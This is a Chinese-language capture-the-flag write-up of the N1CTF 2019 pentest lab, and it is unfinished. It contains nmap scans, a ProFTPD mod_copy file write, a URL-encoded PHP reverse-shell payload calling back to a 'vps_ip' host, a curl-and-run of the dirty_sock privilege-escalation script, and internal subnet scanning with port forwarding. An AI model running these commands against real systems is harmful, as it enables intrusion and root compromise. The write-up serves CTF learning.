Pentest N1ctf2019.lab(step1)

链接:http://47.52.129.242/
web页面啥也没有,用nmap扫一波

1
nmap -sS -P0 -T4 47.52.129.242 -vv

扫描结果

1
2
3
4
PORT   STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 128
22/tcp open ssh syn-ack ttl 128
80/tcp open http syn-ack ttl 128

发现开放了222180端口,猜测入口点应该是在ftp服务,发现可以匿名登陆

image.png
image.png

nmap扫描一下版本

1
nmap -sV -P0 -p 21 47.52.129.242 -vv

扫描结果如下

1
2
3
PORT   STATE SERVICE REASON          VERSION
21/tcp open ftp syn-ack ttl 128 ProFTPD 1.3.5rc3
Service Info: OS: Unix

用msf找一下有没有ProFTPD这个版本的洞,发现有一个文件复制漏洞

image.png
image.png

尝试一波,发现可以写入

image.png
image.png

访问一下看看

image.png
image.png

为了方便操作,我们弹个shell回来

1
/qiyou.php?enjoy~=$sock+%3d+fsockopen("vps_ip",+6666)%3b$descriptorspec+%3d+array(0+%3d>+$sock,1+%3d>+$sock,2+%3d>+$sock)%3b$process+%3d+proc_open('/bin/sh',+$descriptorspec,+$pipes)%3bproc_close($process)%3b

根据题目提示,flag在/root/flag.txt里面,但是发现没有权限

image.png
image.png

根据题目提示snap,猜测可能是要用snap提权,google一下这个版本的snap发现可以提权,直接用github上的脚本提权:链接
然后执行一波

1
curl -O https://raw.githubusercontent.com/initstring/dirty_sock/master/dirty_sockv2.py && python3 dirty_sockv2.py

执行成功后会创建一个dirty_sock用户,密码也为dirty_sock。然后我们ssh连上去(php反弹shell的不能直接用su)就可以提权了

image.png
image.png

然后就是getflag了

image.png
image.png

Pentest N1ctf2019.lab(step2)

第一步渗透完了,猜测第二个flag应该是在内网的其它机器上面,我们用nmap扫描一下C段

1
nmap -p 80 -sS -T4 10.0.0.85/24

发现内网的一个10.0.0.88开放80端口

image.png
image.png

为了方便操作,我们用lcx把内网的10.0.0.88的80端口转发出来

image.png

查看源码发现有任意文件读取

1
readfile.php?path=img/kerberos.jpg

image.png
image.png

未完,带补充